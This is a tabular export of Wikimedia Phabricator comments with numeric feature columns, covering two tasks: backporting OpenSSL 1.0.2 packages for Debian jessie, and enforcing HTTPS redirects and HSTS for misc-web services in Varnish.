578428,openssl 1.0.2 packaging for jessie,"I'm not sure what the context of your question is, but yes we have been running an openssl-1.0.2 package on our jessie hosts from our jessie-wikimedia repo since back when this was resolved, and rebuilding some of our other custom packages (e.g. nginx) against it as well.",,,1450092042,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,3,True,,,23,True,2.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,9.0,2.0,11.0,11.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,2.0,4.0,4.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,13.0,11.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,2.0,0.0,4.0,0.0,0.0,0.0,4.109090909090909,0.9090909090909091,"I'm not sure what the context of your question is, but yes we have been running an openssl-1.0.2 package on our jessie hosts from our jessie-wikimedia repo since back when this was resolved, and rebuilding some of our other custom packages (e.g. nginx) against it as well."
578427,openssl 1.0.2 packaging for jessie,"@remware: If you're referring with stable to standard Debian jessie, then no. The latest version of openssl 1.0.2 is available in jessie-wikimedia, though.",,,1450091917,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,3,True,,,23,True,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,4.387096774193548,0.9032258064516129,"SCREEN_NAME: If you're referring with stable to standard Debian jessie, then no. The latest version of openssl 1.0.2 is available in jessie-wikimedia, though."
578425,openssl 1.0.2 packaging for jessie,Do we have jessie package already in stable ?,,,1450091718,,PHID-USER-3rlfi3mnvi7zx76ucrz2,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,3,False,,,23,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,1.0,Do we have jessie package already in stable ?
483715,openssl 1.0.2 packaging for jessie,">>! In T104143#1411211, @BBlack wrote:
> (or alternatively, should I just ignore the udeb error because we don't care about 1.0.2c during install-time?)

That would work as well; the udebs are only needed for d-i.",,,1435605939,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.210526315789474,0.9473684210526315,"QUOTE
QUOTE

That would work as well; the udebs are only needed for d-i."
483706,openssl 1.0.2 packaging for jessie,"(or alternatively, should I just ignore the udeb error because we don't care about 1.0.2c during install-time?)",,,1435605409,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,8.0,0.0,12.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,12.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9583333333333335,1.0,"(or alternatively, should I just ignore the udeb error because we don't care about 1.0.2c during install-time?)"
483705,openssl 1.0.2 packaging for jessie,"(or alternatively, should I just ignore the udeb error because we don't care about 1.0.2c during install-time?",,,1435605399,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,9.0,0.0,13.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,13.0,4.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.086956521739131,1.0,"(or alternatively, should I just ignore the udeb error because we don't care about 1.0.2c during install-time?"
483604,openssl 1.0.2 packaging for jessie,"I'm willing to skip the chacha20poly1305 thing if you'd rather, that's fine.  That makes this a trivial backport as well.  Per IRC discussion, I've uploaded to gerrit with ""upstream"" branch tracking openssl.org orig tarballs and ""master"" starting with the 1.0.2c-1 debian/ stuff here: http://git.wikimedia.org/summary/operations%2Fdebs%2Fopenssl

I've rebuilt that on copper with a standard git-pbuilder for jessie and uploaded to carbon in component ""backport"" of jessie-wikimedia.  However, the reprepro command had some failure output:
```
root@carbon:~# reprepro -C backports --ignore=wrongdistribution include jessie-wikimedia ~bblack/ossl/*.changes
.changes put in a distribution not listed within it!
Ignoring as --ignore=wrongdistribution given.
Cannot put file 'libcrypto1.0.0-udeb_1.0.2c-1_amd64.udeb' into component 'backports', as it is not listed in UDebComponents!
```

This seems to be related to `/srv/wikimedia/conf/distributions` jessie stanza lacking backports in UDebComponents?
```
Origin: Wikimedia
Label: Wikimedia
Suite: jessie-wikimedia
Codename: jessie-wikimedia
AlsoAcceptFor: jessie jessie-backports
Version: 8
Architectures: source amd64 i386
Components: main backports thirdparty
UDebComponents: main
Update: hwraid cassandra
Description: Wikimedia packages for Debian Jessie
SignWith: default
DebOverride: deb-override
Log:
 log
```

But I'm not sure if the right answer is to fix it there or not...",,,1435598476,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,2,True,,,-1,True,1.0,0.0,0.0,0.0,1.5,5.0,1.0,0.0,0.0,1.5,2.0,3.0,0.0,0.0,0.0,2.5,0.0,5.0,9.5,0.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.5,4.0,0.0,1.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,16.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,6.5,2.0,3.0,6.5,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,3.5,9.5,2.5,0.0,3.5,0.0,3.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,3.9685314685314683,0.8015151515151515,"I'm willing to skip the chacha20poly1305 thing if you'd rather, that's fine.  That makes this a trivial backport as well.  Per IRC discussion, I've uploaded to gerrit with ""upstream"" branch tracking openssl.org orig tarballs and ""master"" starting with the 1.0.2c-1 debian/ stuff here: URL

I've rebuilt that on copper with a standard git-pbuilder for jessie and uploaded to carbon in component ""backport"" of jessie-wikimedia.  However, the reprepro command had some failure output:
``CODE`CODE/srv/wikimedia/conf/distributionsCODE`CODE``

But I'm not sure if the right answer is to fix it there or not..."
483300,openssl 1.0.2 packaging for jessie,"I checked and the data for CVE-2015-4000 in the Debian Security Tracker seems slightly off:
The current 1.0.2c from unstable includes the same fix (https://git.openssl.org/?p=openssl.git;a=commit;h=10a70da729948bb573d27cef4459077c49f3eb46) as what is currently in jessie-security (bumping the minimum length to 768). So, there's no regression here, but only a different interpretation between what constitutes a fix for CVE-2015-4000.

I'm not really comfortable with including the cloudfare patch; they don't seem to have submitted it upstream over at least four months and the OpenSSL developers are working on their own implementation. I'd rather wait until it has seen some upstream scrutiny.

As for maintaining the backport: I'd say we import 1.0.2c in operations/debs/openssl and proceed from there. I think we should update our openssl build by following their point releases. They had a recent lapse which broke the ABI in 1.0.2b, but otherwise the selection of backports to the stable branchs is fairly conservative (I'm following openssl commit logs for a while now). Currently the Debian packages for jessie-security backport the isolated security fixes, but it's also planned to switch to ship the openssl point releases in the future (https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=765639).  ",,,1435565060,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,2,True,,,-1,True,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,5.666666666666667,0.6666666666666666,0.0,0.0,0.0,3.0,1.6666666666666667,0.0,0.6666666666666666,0.3333333333333333,3.0,0.3333333333333333,7.0,10.333333333333334,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,5.0,1.0,1.0,1.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,3.0,0.0,0.0,0.0,0.0,0.0,12.666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,1.0,0.0,1.0,0.0,0.3333333333333333,0.0,7.333333333333333,1.0,7.666666666666667,0.0,2.3333333333333335,8.333333333333334,0.0,0.0,0.0,0.0,3.0,0.0,1.3333333333333333,0.0,5.666666666666667,10.333333333333334,3.0,0.0,0.0,0.0,5.666666666666667,0.0,1.0,1.6666666666666667,0.0,2.3333333333333335,0.0,0.3333333333333333,0.0,4.315789473684211,0.7850877192982456,"I checked and the data for CVE-2015-4000 in the Debian Security Tracker seems slightly off:
The current 1.0.2c from unstable includes the same fix (URL as what is currently in jessie-security (bumping the minimum length to 768). So, there's no regression here, but only a different interpretation between what constitutes a fix for CVE-2015-4000.

I'm not really comfortable with including the cloudfare patch; they don't seem to have submitted it upstream over at least four months and the OpenSSL developers are working on their own implementation. I'd rather wait until it has seen some upstream scrutiny.

As for maintaining the backport: I'd say we import 1.0.2c in operations/debs/openssl and proceed from there. I think we should update our openssl build by following their point releases. They had a recent lapse which broke the ABI in 1.0.2b, but otherwise the selection of backports to the stable branchs is fairly conservative (I'm following openssl commit logs for a while now). Currently the Debian packages for jessie-security backport the isolated security fixes, but it's also planned to switch to ship the openssl point releases in the future (URL  "
483299,openssl 1.0.2 packaging for jessie,"I checked and the data for CVE-2015-4000 in the Debian Security Tracker seems slightly off:
The current 1.0.2c from unstable includes the same fix (https://git.openssl.org/?p=openssl.git;a=commit;h=10a70da729948bb573d27cef4459077c49f3eb46) as what is currently in jessie-security (bumping the minimum length to 768). So, there's no regression here, but only a different interpretation between what constitutes a fix for CVE-2015-4000.

I'm not really comfortable with including the cloudfare patch; they don't seem to have submitted it upstream over at least four months and the OpenSSL developers are working on their own implementation. I'd rather wait until it has seen some upstream scrutiny.

As for maintaining the backport: I'd say we import 1.0.2c in operations/debs/openssl and proceed from there. I think we should update our openssl build by following their point releases. They had a recent lapse which broke the ABI in 1.0.2b, but otherwise the selection of backports to the stable branchs is fairly conservative (I'm following openssl commit logs for a while now). Currently the Debian packages for jessie-security backport the isolated security fixes, but it's also planned to switch to ship the openssl point releases in the future (https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=765639).  ",,,1435565037,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-mflsvd7ub7fvyve43xva,task_subcomment,,True,c3,2,True,,,-1,True,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,5.666666666666667,0.6666666666666666,0.0,0.0,0.0,3.0,1.6666666666666667,0.0,0.6666666666666666,0.3333333333333333,3.0,0.3333333333333333,7.0,10.333333333333334,0.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,5.0,1.0,1.0,1.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,3.0,0.0,0.0,0.0,0.0,0.0,12.666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,1.0,0.0,1.0,0.0,0.3333333333333333,0.0,7.333333333333333,1.0,7.666666666666667,0.0,2.3333333333333335,8.333333333333334,0.0,0.0,0.0,0.0,3.0,0.0,1.3333333333333333,0.0,5.666666666666667,10.333333333333334,3.0,0.0,0.0,0.0,5.666666666666667,0.0,1.0,1.6666666666666667,0.0,2.3333333333333335,0.0,0.3333333333333333,0.0,4.315789473684211,0.7850877192982456,"I checked and the data for CVE-2015-4000 in the Debian Security Tracker seems slightly off:
The current 1.0.2c from unstable includes the same fix (URL as what is currently in jessie-security (bumping the minimum length to 768). So, there's no regression here, but only a different interpretation between what constitutes a fix for CVE-2015-4000.

I'm not really comfortable with including the cloudfare patch; they don't seem to have submitted it upstream over at least four months and the OpenSSL developers are working on their own implementation. I'd rather wait until it has seen some upstream scrutiny.

As for maintaining the backport: I'd say we import 1.0.2c in operations/debs/openssl and proceed from there. I think we should update our openssl build by following their point releases. They had a recent lapse which broke the ABI in 1.0.2b, but otherwise the selection of backports to the stable branchs is fairly conservative (I'm following openssl commit logs for a while now). Currently the Debian packages for jessie-security backport the isolated security fixes, but it's also planned to switch to ship the openssl point releases in the future (URL  "
103919,let all services on misc-web enforce http->https redirects,"all the services listed as not currently redirecting in T103773

check if there are real reasons not to let them enforce https, if possible let them all redirect

then we could do this centrally in the varnish layer and remove all the individual Apache configs in the backends

",Medium,50.0,1435267334,1460573361.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-gyse7w5s5b7tntsibkud,task_description,resolved,True,c3,2,True,False,False,-1,True,6.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,2.0,2.0,2.0,10.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,4.0,4.0,2.0,15.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,13.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.480769230769231,0.75,"all the services listed as not currently redirecting in T103773

check if there are real reasons not to let them enforce https, if possible let them all redirect

then we could do this centrally in the varnish layer and remove all the individual Apache configs in the backends

"
645303,let all services on misc-web enforce http->https redirects,"Change 283251 merged by BBlack:
HTTPS redirect for all: 3/3 remove misc custom block

[[https://gerrit.wikimedia.org/r/283251]]",,,1460572489,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,False,,,40,True,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.8260869565217392,0.8695652173913043,"Change 283251 merged by BBlack:
HTTPS redirect for all: 3/3 remove misc custom block

[[GERRIT_URL]]"
645302,let all services on misc-web enforce http->https redirects,"Change 283250 merged by BBlack:
HTTPS redirect for all: 2/3 remove vcl_config settings

[[https://gerrit.wikimedia.org/r/283250]]",,,1460572445,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,False,,,40,True,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.136363636363637,0.8636363636363636,"Change 283250 merged by BBlack:
HTTPS redirect for all: 2/3 remove vcl_config settings

[[GERRIT_URL]]"
645296,let all services on misc-web enforce http->https redirects,"Change 283249 merged by BBlack:
HTTPS redirect for all: 1/3 remove VCL conditional

[[https://gerrit.wikimedia.org/r/283249]]",,,1460571778,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,False,,,40,True,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.9545454545454546,0.8636363636363636,"Change 283249 merged by BBlack:
HTTPS redirect for all: 1/3 remove VCL conditional

[[GERRIT_URL]]"
645293,let all services on misc-web enforce http->https redirects,"Change 283251 had a related patch set uploaded (by BBlack):
HTTPS redirect for all: 3/3 remove misc custom block

[[https://gerrit.wikimedia.org/r/283251]]
",,,1460571523,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,False,,,40,True,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7333333333333334,0.9,"Change 283251 had a related patch set uploaded (by BBlack):
HTTPS redirect for all: 3/3 remove misc custom block

[[GERRIT_URL]]
"
645292,let all services on misc-web enforce http->https redirects,"Change 283250 had a related patch set uploaded (by BBlack):
HTTPS redirect for all: 2/3 remove vcl_config settings

[[https://gerrit.wikimedia.org/r/283250]]
",,,1460571522,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,False,,,40,True,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.9655172413793105,0.896551724137931,"Change 283250 had a related patch set uploaded (by BBlack):
HTTPS redirect for all: 2/3 remove vcl_config settings

[[GERRIT_URL]]
"
645289,let all services on misc-web enforce http->https redirects,"Change 283249 had a related patch set uploaded (by BBlack):
HTTPS redirect for all: 1/3 remove VCL conditional

[[https://gerrit.wikimedia.org/r/283249]]
",,,1460571341,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,False,,,40,True,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.8275862068965516,0.896551724137931,"Change 283249 had a related patch set uploaded (by BBlack):
HTTPS redirect for all: 1/3 remove VCL conditional

[[GERRIT_URL]]
"
644218,let all services on misc-web enforce http->https redirects,"I should add: once we can kill the last entry in that last of HTTPS-exceptions, we can drop that whole block and simply set cache_misc's https_redirects option to `true` (or eliminate the option completely, since this is the only exception that as well).",,,1460474849,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,True,,,40,True,0.0,0.0,2.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,6.0,0.0,8.0,12.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,6.0,6.0,4.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,12.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.038461538461538,0.8269230769230769,"I should add: once we can kill the last entry in that last of HTTPS-exceptions, we can drop that whole block and simply set cache_misc's https_redirects option to CODE (or eliminate the option completely, since this is the only exception that as well)."
644214,let all services on misc-web enforce http->https redirects,"I've done a bunch of cleanup on misc-web today, including:

1. removing the dead service entries (download, gerrit, rt)
2. inverting the existing TLS-redirect conditional (to list the hosts which do not redirect for HTTPS)
3. making varnish do the TLS redirect for all domains that were already doing it at the application layer (checked with curl)
4. Sharing most of the HTTPS code with the common VCL that text/upload/maps use, except for the redirect part, which means:
5. misc now emits HSTS according to the global rules as well (no preload/includeSub on wikimedia.org, but yes on the others)

I also went ahead and added wmfusercontent.org to the global HSTS rules, but the preload part there is still blocked on T132452

What's left now for hostnames which flow through cache_misc but do not have HTTPS redirects are these...

```
config-master.wikimedia.org
git.wikimedia.org
graphite.wikimedia.org
parsoid-tests.wikimedia.org
datasets.wikimedia.org
transparency.wikimedia.org
stats.wikimedia.org
```

... which are now explicit in the VCL and waiting to be deleted if possible here: https://github.com/wikimedia/operations-puppet/blob/production/templates/varnish/misc-frontend.inc.vcl.erb#L24
",,,1460474707,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gyse7w5s5b7tntsibkud,task_subcomment,,True,c3,3,True,,,40,True,0.3333333333333333,0.0,0.0,1.0,0.6666666666666666,3.6666666666666665,1.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,5.0,8.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,4.333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,12.666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,1.3333333333333333,1.6666666666666667,0.0,0.0,0.0,1.0,0.0,5.0,2.3333333333333335,6.333333333333333,0.6666666666666666,2.3333333333333335,8.333333333333334,0.0,0.0,0.0,0.0,2.0,0.3333333333333333,0.3333333333333333,0.0,1.0,8.0,4.333333333333333,0.0,0.0,0.0,1.0,0.0,2.3333333333333335,0.3333333333333333,0.0,3.0,0.0,0.3333333333333333,2.0,3.807118499573742,0.7816140949133277,"I've done a bunch of cleanup on misc-web today, including:

1. removing the dead service entries (download, gerrit, rt)
2. inverting the existing TLS-redirect conditional (to list the hosts which do not redirect for HTTPS)
3. making varnish do the TLS redirect for all domains that were already doing it at the application layer (checked with curl)
4. Sharing most of the HTTPS code with the common VCL that text/upload/maps use, except for the redirect part, which means:
5. misc now emits HSTS according to the global rules as well (no preload/includeSub on wikimedia.org, but yes on the others)

I also went ahead and added wmfusercontent.org to the global HSTS rules, but the preload part there is still blocked on T132452

What's left now for hostnames which flow through cache_misc but do not have HTTPS redirects are these...

``CODE``

... which are now explicit in the VCL and waiting to be deleted if possible here: URL
"
